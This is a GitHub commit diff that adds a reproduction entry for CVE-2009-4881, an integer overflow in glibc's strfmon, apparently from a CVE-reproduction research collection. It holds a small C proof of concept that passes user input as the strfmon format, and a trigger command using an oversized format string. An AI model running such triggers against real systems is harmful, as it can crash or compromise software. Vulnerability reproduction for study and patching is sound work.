Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
2716377
commit c15d0e2
Showing
4 changed files
with
63 additions
and
3 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,19 +1,37 @@ | ||
# CVE/EDB ID | ||
# CVE-2009-4881 | ||
|
||
## Experiment Environment | ||
|
||
CentOS 5.5 | ||
|
||
## INSTALL & Configuration | ||
|
||
Preinstalled environment | ||
|
||
## Problems in Installation & Configuration | ||
|
||
|
||
## How to trigger vulnerability | ||
|
||
``` | ||
gcc -o pln poc.c | ||
./pln %99999999999999999999n | ||
``` | ||
|
||
## PoCs | ||
|
||
[CVE-2009-4881 glibc (32-bit): Integer overflow in the __vstrfmon_l function](https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2009-4881) | ||
|
||
[libc (strfmon) Multiple vulnerabilities](http://cxsecurity.com/issue/WLB-2008030063) | ||
|
||
## Vulnerability Details & Patch | ||
|
||
### Root Cause | ||
|
||
### Stack Trace | ||
|
||
### Patch | ||
|
||
<https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/strfmon_l.c;h=8e63d459e3a15ad6777be1d613216f92f398d64e;hp=c9f3a47b41d27a6c393ffbda86328c8ca569e623;hb=153aa31b93be22e01b236375fb02a9f9b9a0195f;hpb=59a7162b17f55cb292844e37ceb9c3b0a1994080> | ||
|
||
## References |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,11 @@ | ||
#include <stdio.h> | ||
#include <monetary.h> | ||
|
||
int main(int argc, char* argv[]){ | ||
char buff[51]; | ||
char *bux=buff; | ||
int res; | ||
|
||
res=strfmon(bux, 50, argv[1], "0"); | ||
return 0; | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters